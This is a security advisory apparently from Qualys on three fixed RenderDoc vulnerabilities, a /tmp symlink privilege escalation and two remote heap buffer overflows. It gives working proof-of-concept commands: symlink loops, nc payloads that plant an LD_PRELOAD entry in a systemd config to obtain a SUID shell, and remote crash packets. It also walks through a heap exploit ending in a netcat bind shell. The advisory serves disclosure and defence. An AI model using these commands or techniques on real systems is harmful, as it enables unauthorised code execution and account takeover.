Qualys Security Advisory

LPE and RCE in RenderDoc: CVE-2023-33865, CVE-2023-33864, CVE-2023-33863


========================================================================
Contents
========================================================================

Summary
CVE-2023-33865, a symlink vulnerability in /tmp/RenderDoc
- Analysis
- Exploitation
CVE-2023-33864, an integer underflow to heap-based buffer overflow
- Analysis
- Exploitation
CVE-2023-33863, an integer overflow to heap-based buffer overflow
- Analysis
Acknowledgments


========================================================================
Summary
========================================================================

  "RenderDoc is a free MIT licensed stand-alone graphics debugger that
  allows quick and easy single-frame capture and detailed introspection
  of any application using Vulkan, D3D11, OpenGL & OpenGL ES or D3D12
  across Windows, Linux, Android, or Nintendo Switch(TM)."
  (https://renderdoc.org/)

To capture a frame on Linux, RenderDoc LD_PRELOADs the shared library
librenderdoc.so into the application to be debugged, and this library
immediately starts a server thread that listens on TCP port 38920 (on
all network interfaces) and waits for clients to connect. Unfortunately,
we discovered three vulnerabilities in this server's implementation:

- CVE-2023-33865, a symlink vulnerability that is exploitable by any
  unprivileged local attacker to obtain the privileges of the user who
  runs RenderDoc. The exact details of this symlink vulnerability made
  it quite interesting and challenging to exploit.

- CVE-2023-33864, an integer underflow that results in a heap-based
  buffer overflow that is exploitable by any remote attacker to execute
  arbitrary code on the machine that runs RenderDoc. The unusual malloc
  exploitation technique that we used to exploit this vulnerability is
  reliable, one-shot, and works despite all the latest glibc, ASLR, PIE,
  NX, and stack-canary protections.

- CVE-2023-33863, an integer overflow that results in a heap-based
  buffer overflow and may be exploitable by a remote attacker to execute
  arbitrary code on the machine that runs RenderDoc (but we have not
  tried to exploit this vulnerability).

All three vulnerabilities were fixed on May 19, 2023 by the following
commits (i.e., RenderDoc <= v1.26 is vulnerable, but v1.27 is fixed):

  https://github.com/baldurk/renderdoc/commit/601ed56111ce3803d8476d438ade1c92d6092856
  https://github.com/baldurk/renderdoc/commit/e0464fea4f9a7f149c4ee1d84e5ac57839a4a862
  https://github.com/baldurk/renderdoc/commit/1f72a09e3b4fd8ba45be4b0db4889444ef5179e2
  https://github.com/baldurk/renderdoc/commit/203fc8382a79d53d2035613d9425d966b1d4958e
  https://github.com/baldurk/renderdoc/commit/771aa8e769b72e6a36b31d6e2116db9952dcbe9b

Last-minute note: RenderDoc also listens on TCP port 39920, but only
allows connections from private IPs there (10.0.0.0/8, 172.16.0.0/12,
192.168.0.0/16), and can be configured to further restrict this allow-
list; on the other hand, RenderDoc allows anyone to connect to TCP port
38920 (the port that we exploited), and cannot be configured to restrict
who can connect there.


========================================================================
CVE-2023-33865, a symlink vulnerability in /tmp/RenderDoc
========================================================================

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

As soon as librenderdoc.so is LD_PRELOADed into the application to be
debugged, its library_loaded() function:

- creates the directory /tmp/RenderDoc, or reuses it if it already
  exists, even if it does not belong to the user who runs RenderDoc
  (Alice, in this advisory);

- opens (and possibly creates) a log file of the form
  /tmp/RenderDoc/RenderDoc_app_YYYY.MM.DD_hh.mm.ss.log, and writes to it
  in append mode:

------------------------------------------------------------------------
507       open(filename.c_str(), O_APPEND | O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
------------------------------------------------------------------------

Consequently, a local attacker can create /tmp/RenderDoc before Alice
runs RenderDoc, and can populate this directory with numerous symlinks
(of the form /tmp/RenderDoc/RenderDoc_app_YYYY.MM.DD_hh.mm.ss.log) that
point to an arbitrary file in the filesystem; when Alice runs RenderDoc,
this file will be created (if it does not exist already) and written to,
with Alice's privileges.

The attacker can write arbitrary strings into this file (by sending
these strings to RenderDoc on TCP port 38920), but unfortunately for the
attacker, RenderDoc prepends each of these strings with a header that is
not controlled by the attacker (and if the attacker sends a string that
contains \n characters, then RenderDoc splits this string into multiple
lines and prepends each line with the uncontrolled header), and this
uncontrolled header makes it impossible for the attacker to achieve
privilege escalation via Alice's usual dotfiles (.profile, .bashrc,
.ssh/authorized_keys, etc).

In the following example, the attacker (the user "nobody") writes
arbitrary shell commands into Alice's .bashrc file, but the uncontrolled
header that is prepended by RenderDoc causes a syntax error and prevents
Alice's shell from executing the attacker's commands:

------------------------------------------------------------------------
nobody$ mkdir -m 0777 /tmp/RenderDoc
nobody$ cd /tmp/RenderDoc

nobody$ for ((i=0; i<600; i++)); do
ln -sf /home/alice/.bashrc "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')";
done
------------------------------------------------------------------------
alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600
------------------------------------------------------------------------
nobody$ s='$(id)'$';id;\nid\n#'
nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)"
0000000e

nobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x0e\x00\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920
(UNKNOWN) [127.0.0.1] 38920 (?) open
------------------------------------------------------------------------
alice$ bash
bash: /home/alice/.bashrc: line 114: syntax error near unexpected token `('
bash: /home/alice/.bashrc: line 114: `RDOC 003906: [05:50:25]             core.cpp( 499) - Log     - RenderDoc v1.26 Linux 64-bit Release (4524cddca999d52aff790b626f92bb21ae9fe41f) capturing application'

alice$ cat /home/alice/.bashrc
...
RDOC 003906: [05:50:25]             core.cpp( 499) - Log     - RenderDoc v1.26 Linux 64-bit Release (4524cddca999d52aff790b626f92bb21ae9fe41f) capturing application
RDOC 003906: [05:50:25]         settings.cpp( 460) - Log     - Loading config from /home/alice/.renderdoc/renderdoc.conf
RDOC 003906: [05:50:25]   posix_libentry.cpp(  73) - Log     - Loading into /usr/bin/sleep
RDOC 003906: [05:50:25]         gl_hooks.cpp( 280) - Log     - Registering OpenGL hooks
RDOC 003906: [05:50:25]        glx_hooks.cpp( 811) - Log     - Registering GLX hooks
RDOC 003906: [05:50:25]        egl_hooks.cpp(1073) - Log     - Registering EGL hooks
RDOC 003906: [05:50:25]         vk_layer.cpp(  99) - Log     - Registering Vulkan hooks
RDOC 003906: [05:56:03]   target_control.cpp( 489) - Log     - Invalid/Unsupported handshake '$(id);id;
RDOC 003906: [05:56:03]   target_control.cpp( 489) - Log     - id
RDOC 003906: [05:56:03]   target_control.cpp( 489) - Log     - #' / 1
------------------------------------------------------------------------

------------------------------------------------------------------------
Exploitation
------------------------------------------------------------------------

We spent a long time on this uncontrolled-header problem, and eventually
found the following two-step solution:

1/ We transform RenderDoc's symlink vulnerability into an arbitrary
directory creation, by writing to the file .config/user-dirs.defaults in
Alice's home directory: we write SYSTEMD=.config/systemd into this file,
and the next time Alice logs in, xdg-user-dirs-update will automatically
create the directory .config/systemd in Alice's home directory.

But how did we solve the uncontrolled-header problem?
xdg-user-dirs-update calls fgets() to read lines of at most 512 bytes
from .config/user-dirs.defaults, so if we write a string longer than 512
bytes into this file, then one fgets() will return a line that ends in
the middle of our long string, and the next fgets() will return a line
that starts in the middle of our long string: i.e., a line that starts
with our own data, not with RenderDoc's uncontrolled header.

2/ We transform RenderDoc's symlink vulnerability into an arbitrary code
execution, by writing to the file .config/systemd/user.conf in Alice's
home directory (we already created the directory .config/systemd in 1/):
we write DefaultEnvironment=LD_PRELOAD=/var/tmp/shell.so into this file,
and the next time Alice logs in, systemd will execute our shared library
/var/tmp/shell.so with Alice's privileges.

But how did we solve the uncontrolled-header problem this time? systemd
calls read_line_full() to read lines from .config/systemd/user.conf, and
this function "Considers EOF, \n, \r and \0 end of line delimiters", so
we simply use \r as a line delimiter to avoid the uncontrolled-header
problem (indeed, RenderDoc only adds an uncontrolled header after \n,
not after \r).

------------------------------------------------------------------------
nobody$ mkdir -m 0777 /tmp/RenderDoc
nobody$ cd /tmp/RenderDoc

nobody$ for ((i=0; i<600; i++)); do
ln -sf /home/alice/.config/user-dirs.defaults "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')";
done
------------------------------------------------------------------------
alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600
------------------------------------------------------------------------
nobody$ s="$(printf '_% 512s SYSTEMD=.config/systemd\n#' ' ')"
nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)"
0000021b

nobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x1b\x02\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920
(UNKNOWN) [127.0.0.1] 38920 (?) open
------------------------------------------------------------------------

The next time Alice logs in, the directory .config/systemd will be
created in Alice's home directory; then:

------------------------------------------------------------------------
nobody$ mkdir -m 0777 /tmp/RenderDoc
nobody$ cd /tmp/RenderDoc

nobody$ for ((i=0; i<600; i++)); do
ln -sf /home/alice/.config/systemd/user.conf "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')";
done
------------------------------------------------------------------------
alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600
------------------------------------------------------------------------
nobody$ s=$'_\r[Manager]\rDefaultEnvironment=LD_PRELOAD=/var/tmp/shell.so\r#'
nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)"
0000003d

nobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x3d\x00\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920
(UNKNOWN) [127.0.0.1] 38920 (?) open
------------------------------------------------------------------------

The next time Alice logs in, our shared library /var/tmp/shell.so will
be executed with Alice's privileges and will create a SUID shell in
/var/tmp; then:

------------------------------------------------------------------------
nobody$ /var/tmp/shell -p
$ id
uid=65534(nobody) gid=65534(nogroup) euid=1000(alice) groups=65534(nogroup)
                                     ^^^^^^^^^^^^^^^^
------------------------------------------------------------------------


========================================================================
CVE-2023-33864, an integer underflow to heap-based buffer overflow
========================================================================

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

When a client connects to librenderdoc.so's server thread on TCP port
38920, it must first send a handshake packet that contains a string, its
"client name"; to read this string, the server:

- malloc()ates an intermediary buffer of 64KB (at line 97), and reads
  the beginning of the client's handshake packet into this buffer:

------------------------------------------------------------------------
 42 static const uint64_t initialBufferSize = 64 * 1024;
 ..
 92 StreamReader::StreamReader(Network::Socket *sock, Ownership own)
 93 {
 94   m_Sock = sock;
 95 
 96   m_BufferSize = initialBufferSize;
 97   m_BufferBase = AllocAlignedBuffer(m_BufferSize);
 98   m_BufferHead = m_BufferBase;
 99 
100   // for sockets we use m_InputSize to indicate how much data has been read into the buffer.
101   m_InputSize = 0;
------------------------------------------------------------------------

- reads len, the length of the client-name string, from this
  intermediary buffer (at line 1313), and malloc()ates a string buffer
  of len bytes (at line 1314):

------------------------------------------------------------------------
1307   void SerialiseValue(SDBasic type, size_t byteSize, rdcstr &el)
1308   {
1309     uint32_t len = 0;
1310 
1311     if(IsReading())
1312     {
1313       m_Read->Read(len);
1314       el.resize((int)len);
1315       if(len > 0)
1316         m_Read->Read(&el[0], len);
------------------------------------------------------------------------

- reads the client name directly into this string buffer (at line 185)
  if it is longer than 10MB (otherwise the server first reads the client
  name into the intermediary buffer, and then memcpy()s it into the
  string buffer):

------------------------------------------------------------------------
139   bool Read(void *data, uint64_t numBytes)
140   {
...
183         if(numBytes >= 10 * 1024 * 1024 && Available() + 128 < numBytes)
184         {
185           success = ReadLargeBuffer(data, numBytes);
------------------------------------------------------------------------

More precisely, ReadLargeBuffer() reads all but the last 128 bytes of
the client name directly into the string buffer (at line 304), and reads
the last 128 bytes into the intermediary buffer (at line 354) and then
memcpy()s them into the string buffer (at line 358):

------------------------------------------------------------------------
271 bool StreamReader::ReadLargeBuffer(void *buffer, uint64_t length)
272 {
...
275   byte *dest = (byte *)buffer;
...
297     uint64_t directReadLength = length - 128;
...
304       bool ret = ReadFromExternal(dest, directReadLength);
305 
306       dest += directReadLength;
...
350   m_BufferHead = m_BufferBase + m_BufferSize;
...
354   bool ret = ReadFromExternal(m_BufferHead - 128, 128);
...
357   if(dest && ret)
358     memcpy(dest, m_BufferHead - 128, 128);
------------------------------------------------------------------------

Unfortunately, ReadFromExternal() mistakenly believes that m_InputSize
(the total number of bytes read) can never exceed m_BufferSize (the size
of the intermediary buffer), but in ReadLargeBuffer()'s case m_InputSize
becomes larger than 10MB and m_BufferSize is 64KB, so the calculation of
bufSize underflows (at line 408) and the size that is passed to recv()
is much larger than the size of the destination buffer (at line 411):

------------------------------------------------------------------------
366 bool StreamReader::ReadFromExternal(void *buffer, uint64_t length)
367 {
...
399       byte *readDest = (byte *)buffer;
400 
401       success = m_Sock->RecvDataBlocking(readDest, (uint32_t)length);
402 
403       if(success)
404       {
405         m_InputSize += length;
406         readDest += length;
407 
408         uint32_t bufSize = uint32_t(m_BufferSize - m_InputSize);
...
411         success = m_Sock->RecvDataNonBlocking(readDest, bufSize);
------------------------------------------------------------------------

Consequently, a remote attacker can overflow either the string buffer
(at line 304) or the intermediary buffer (at line 354). In the following
section, we explain how we transformed the overflow of the intermediary
buffer into a reliable, one-shot remote code execution, despite all the
latest glibc, malloc, ASLR, PIE, NX, and stack-canary protections.

Proof of concept (string-buffer overflow):

------------------------------------------------------------------------
alice$ strace -f -o strace.out -E LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600
------------------------------------------------------------------------
remote$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x80\x00\xa0\x00%010485760x%04096x' 1 1 | nc -nv 192.168.56.126 38920
Ncat: 10489872 bytes sent, 0 bytes received in 0.12 seconds.
------------------------------------------------------------------------
alice$ cat strace.out
...
2638  recvfrom(5, "00000000000000000000000000000000"..., 4284547056, 0, NULL, NULL) = 4096
...
2638  recvfrom(5, "", 128, 0, NULL, NULL) = 0
...
2638  writev(2, [{iov_base="Fatal glibc error: malloc assert"..., iov_len=47}, {iov_base="__libc_malloc", iov_len=13}, {iov_base=": ", iov_len=2}, {iov_base="!victim || chunk_is_mmapped (mem"..., iov_len=98}, {iov_base="\n", iov_len=1}], 5) = 161
...
2638  --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=2637, si_uid=1000} ---
2637  <... clock_nanosleep resumed> <unfinished ...>) = ?
2638  +++ killed by SIGABRT +++
2637  +++ killed by SIGABRT +++
------------------------------------------------------------------------

Proof of concept (intermediary-buffer overflow):

------------------------------------------------------------------------
alice$ strace -f -o strace.out -E LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600
------------------------------------------------------------------------
remote$ (printf '\2\0\0\0\0\0\0\0\1\0\0\0\x80\x00\xa0\x00%010485760x' 1; sleep 3; printf '%0128x%04096x' 1 1) | nc -nv 192.168.56.126 38920
Ncat: 10490000 bytes sent, 0 bytes received in 3.11 seconds.
------------------------------------------------------------------------
alice$ cat strace.out
...
2696  recvfrom(5, 0x7f725a9ff010, 4284547056, 0, NULL, NULL) = -1 EAGAIN (Resource temporarily unavailable)
...
2696  recvfrom(5, "00000000000000000000000000000000"..., 128, 0, NULL, NULL) = 128
...
2696  recvfrom(5, "00000000000000000000000000000000"..., 4284546928, 0, NULL, NULL) = 4096
...
2696  writev(2, [{iov_base="malloc(): corrupted top size", iov_len=28}, {iov_base="\n", iov_len=1}], 2) = 29
...
2696  --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=2695, si_uid=1000} ---
2695  <... clock_nanosleep resumed> <unfinished ...>) = ?
2696  +++ killed by SIGABRT +++
2695  +++ killed by SIGABRT +++
------------------------------------------------------------------------

------------------------------------------------------------------------
Exploitation
------------------------------------------------------------------------

1/ When librenderdoc.so's server thread is created, the glibc's malloc
allocates a new "heap" for this thread: 64MB of mmap()ed memory, whose
start address is aligned on a multiple of 64MB. Initially, this heap is
mmap()ed PROT_NONE, and is mprotect()ed read-write as needed by malloc:

    0                                       64M
----V----------------------------------------V--------------|-------------
    |          server thread's heap          |  random gap  |  libraries
----|----------------------------------------|--------------|-------------

Note: the gap of unmapped memory between the heap and the libraries is
random (and smaller than 64MB), because the heap is aligned on 64MB but
the libraries are randomly aligned on 4KB (or sometimes 2MB) by ASLR.

2/ We (remote attackers) establish 7 successive connections to the
server on TCP port 38920: for each one of these connections, the server
creates a new thread (a "client thread"), allocates a new thread stack
(8MB+4KB of mmap()ed memory, for the stack and its guard page), and then
memory-leaks this stack (because the server does not call pthread_join()
when the client thread terminates abnormally, which prevents its stack
from being freed or reused for another client thread).

The goal of this step 2/ is simply to fill the random gap between the
heap and the libraries (with the help of a memory leak), to prevent any
future thread stack from being allocated into this gap. The reason for
doing this will become clear in step 7/.

3/ We connect to the server on TCP port 38920, send a handshake packet
that contains a 16MB client-name string (it must be longer than 10MB to
trigger CVE-2023-33864), and obtain the following layout for the
server's heap:

  0                           14M  16M      20M              28M      32M
--V-+-+-+-+--------------------V----V--------V----------------V--------V--
  |F|I|L|C|               ....
--|-+-+-+-+---------------------------------------------------------------

- F are fixed chunks of memory (at the very beginning of the heap) that
  were not allocated by us but whose sizes are known to us;

- I is the 64KB intermediary buffer mentioned in the previous section;

- L is a small chunk that was memory-leaked (or free()d but stored in an
  otherwise unused tcache) and whose size is exactly controlled by us;

- C is a small chunk (a "callstack" from our handshake packet) whose
  exact size and contents do not matter much.

4/ We overflow the intermediary buffer I (thanks to CVE-2023-33864),
overwrite L's malloc_chunk header with an unchanged size field, and
overwrite C's malloc_chunk header with arbitrary prev_size and size
fields.

5/ The server free()s the intermediary buffer I. This free() succeeds
despite our buffer overflow because we overwrote the malloc_chunk header
of I's next chunk (L) with an unchanged size; without L between I and C,
free()'s security checks would detect that we overwrote C's malloc_chunk
header with arbitrary sizes and would abort().

6/ The server free()s the small chunk C. Because we overwrote C's
malloc_chunk header with a size field whose IS_MMAPPED bit is set,
free() calls its internal function munmap_chunk():

------------------------------------------------------------------------
3018 static void
3019 munmap_chunk (mchunkptr p)
3020 {
3021   size_t pagesize = GLRO (dl_pagesize);
3022   INTERNAL_SIZE_T size = chunksize (p);
....
3026   uintptr_t mem = (uintptr_t) chunk2mem (p);
3027   uintptr_t block = (uintptr_t) p - prev_size (p);
3028   size_t total_size = prev_size (p) + size;
....
3034   if (__glibc_unlikely ((block | total_size) & (pagesize - 1)) != 0
3035       || __glibc_unlikely (!powerof2 (mem & (pagesize - 1))))
3036     malloc_printerr ("munmap_chunk(): invalid pointer");
....
3044   __munmap ((char *) block, total_size);
3045 }
------------------------------------------------------------------------

- we fully control prev_size and size (because p is a pointer to C's
  malloc_chunk header, which we overwrote), so we can munmap() an
  arbitrary block of memory (at line 3044), relative to p (i.e.,
  relative to C, and without knowing the ASLR);

- we can easily satisfy the preconditions at lines 3034 and 3035,
  because we fully control prev_size and size, and because we know the
  sizes of F and I, and we precisely control the size of L.

We exploit this arbitrary munmap() to punch a hole of exactly 8MB+4KB
(the size of a thread stack and its guard page) in the middle of the
server's heap:

  0                           14M  16M      20M              28M      32M
--V-+-+-+-+--------------------V----V--------V----------------V--------V--
  |F|I|L|C|               ....               |  punched hole  |
--|-+-+-+-+----------------------------------+----------------+-----------

Note: we cannot reuse the technique that we developed to exploit
CVE-2005-1513 (in qmail) here, because of the random gap between the
server's heap and the libraries (and our exploit here must be one-shot);
for reference:

  https://www.qualys.com/2020/05/19/cve-2005-1513/remote-code-execution-qmail.txt
  https://maxwelldulin.com/BlogPost/House-of-Muney-Heap-Exploitation
  https://www.ambionics.io/blog/hacking-watchguard-firewalls

7/ We connect to the server on TCP port 38920; the server creates a new
client thread, and allocates a new stack for this thread, exactly into
the hole that we punched in the server's heap (since step 2/ such a
stack cannot be allocated anymore into the random gap between the
server's heap and the libraries):

  0                           14M  16M      20M              28M      32M
--V-+-+-+-+--------------------V----V--------V----------------V--------V--
  |F|I|L|C|               ....               |  client stack  |
--|-+-+-+-+----------------------------------+----------------+-----------

We then disconnect from the server; the client thread terminates cleanly
and the server pthread_join()s with it, thus making its stack available
for a future client thread.

8/ We establish a long-lived connection to the server, and send a 14MB
client-name string (but we do not trigger CVE-2023-33864 this time); the
server reads our client name into a malloc()ated string buffer that ends
in the middle of the unused client stack (i.e., this client name and the
client stack overlap in the server's heap):

  0                           14M  16M      20M              28M      32M
--V-+-+-+-+--------------------V----V--------V----------------V--------V--
  |F|I|L|C|        ....        |             |  client stack  |
--|-+-+-+-+--------------------+-------------+-------------+--+-----------
                               |---------------------------|
                                        client name

Note: although the client stack's guard page is initially mmap()ed
PROT_NONE, it is conveniently mprotect()ed read-write by the glibc's
malloc when extending the server's heap for our 14MB client name (in
grow_heap())!

The server then creates a new client thread for our long-lived
connection, and reuses the existing client stack for this thread, thus
overwriting the end of our client name with data from the client stack.

9/ We establish another connection to the server; however, because our
first connection is still alive, the server disconnects us, but first
gives us the name of the client that is already connected (i.e., the
server sends us back our 14MB client name, which was partly overwritten
by data from the client stack), thus information-leaking all sorts of
stack contents to us: heap addresses, library addresses, stack
addresses, the stack canary, etc.

10/ While our first connection to the server is still alive, we
establish another connection and start sending a 9MB string; the server
reads this string into a malloc()ated buffer that starts in the middle
of the client stack (immediately after the 14MB client name), thus
overwriting the client stack with data that we fully control (a ROP
chain):

  0                           14M  16M      20M              28M      32M
--V-+-+-+-+--------------------V----V--------V----------------V--------V--
  |F|I|L|C|        ....        |             |  client stack  |
--|-+-+-+-+--------------------+-------------+-------------+--+-----------
                               |---------------------------|--->
                                        client name         ROP

As soon as the client thread returns to a saved instruction pointer
(RIP) from the overwritten part of the client stack, our ROP chain is
executed: first a "ROP sled" (a series of minimal "ret" gadgets, because
we do not know the exact distance between the start of our ROP chain and
the first overwritten saved RIP in the client stack), followed by a
simple execve() of "/bin/nc -lp1337 -e/bin/bash".

Note: we build our ROP chain with gadgets from librenderdoc.so only
(whose address was information-leaked to us in step 9/), to avoid any
dependence on the application being debugged or its shared libraries.

To summarize this reliable, one-shot technique that we used to exploit
the heap-based buffer overflow in librenderdoc.so's multi-threaded TCP
server:

- we overwrite the malloc_chunk header of a heap-based buffer (which
  will be free()d) with an arbitrary size field whose IS_MMAPPED bit is
  set, and therefore transform this buffer overflow into an arbitrary
  munmap() call (thanks to free()'s munmap_chunk() function);

- with this arbitrary munmap() call, we punch a hole of exactly 8MB+4KB
  (the size of a thread stack) in the middle of the server's heap;

- we arrange for a thread stack to be mmap()ed into this hole, and for a
  string (which will later be sent to us by the server) to be
  malloc()ated over the lower part of this thread stack;

- when this string is sent to us by the server, parts of it were
  overwritten by data from the thread stack, thus information-leaking
  all sorts of stack contents to us (heap addresses, library addresses,
  stack addresses, the stack canary, etc);

- finally, we arrange for another string (which we fully control) to be
  malloc()ated over the higher part of the thread stack, and therefore
  overwrite a saved instruction pointer (in the thread stack) with a ROP
  chain of gadgets from librenderdoc.so (whose address was previously
  information-leaked to us) -- a classic "stack smashing" attack.

Note: further possibilities for munmap_chunk() exploitation are explored
in http://tukan.farm/2016/07/27/munmap-madness/.


========================================================================
CVE-2023-33863, an integer overflow to heap-based buffer overflow
========================================================================

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

If a client connects to librenderdoc.so's server on TCP port 38920 and
wants to send a long string of exactly 0xffffffff bytes (UINT32_MAX),
then the server casts this uint32_t len to a signed int (at line 1314),
and because resize()'s argument is a size_t (a 64-bit integer on amd64),
this 0xffffffff int is sign-extended to a 0xffffffffffffffff size_t
(SIZE_MAX) inside resize():

------------------------------------------------------------------------
1307   void SerialiseValue(SDBasic type, size_t byteSize, rdcstr &el)
1308   {
1309     uint32_t len = 0;
1310 
1311     if(IsReading())
1312     {
1313       m_Read->Read(len);
1314       el.resize((int)len);
1315       if(len > 0)
1316         m_Read->Read(&el[0], len);
------------------------------------------------------------------------

resize() calls reserve() to malloc()ate a buffer for this long string
(at line 508), and reserve() adds 1 to the size of this string (for a
null-terminator) and therefore integer-overflows the SIZE_MAX size of
this string to 0 and malloc()ates a minimum-sized buffer (at line 437)
that is much too small for the client's long string:

------------------------------------------------------------------------
 484   void resize(const size_t s)
 485   {
 ...
 508     reserve(s);
------------------------------------------------------------------------
 411   void reserve(size_t s)
 412   {
 ...
 437     char *new_str = allocate(s + 1);
------------------------------------------------------------------------

As a result, the client can overflow this heap-based buffer with up to
UINT32_MAX bytes. Proof of concept:

------------------------------------------------------------------------
alice$ strace -f -o strace.out -E LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600
------------------------------------------------------------------------
remote$ (printf '\2\0\0\0\0\0\0\0\1\0\0\0\xff\xff\xff\xff'; sleep 3; printf '%04096x' 1) | nc -nv 192.168.56.126 38920
Ncat: 4112 bytes sent, 0 bytes received in 3.00 seconds.
------------------------------------------------------------------------
alice$ cat strace.out
...
2848  recvfrom(5, "00000000000000000000000000000000"..., 4294967167, 0, NULL, NULL) = 4096
2848  recvfrom(5, "", 4294963071, 0, NULL, NULL) = 0
...
2848  writev(2, [{iov_base="malloc(): corrupted top size", iov_len=28}, {iov_base="\n", iov_len=1}], 2) = 29
...
2848  --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=2847, si_uid=1000} ---
2847  <... clock_nanosleep resumed> <unfinished ...>) = ?
2848  +++ killed by SIGABRT +++
2847  +++ killed by SIGABRT +++
------------------------------------------------------------------------

Note: we have not tried to exploit this vulnerability.


========================================================================
Acknowledgments
========================================================================

We thank Baldur Karlsson, RenderDoc's creator and developer, for this
invaluable open-source tool and for fixing these bugs just a few hours
after we reported them. We also thank Mitre's CVE Assignment Team.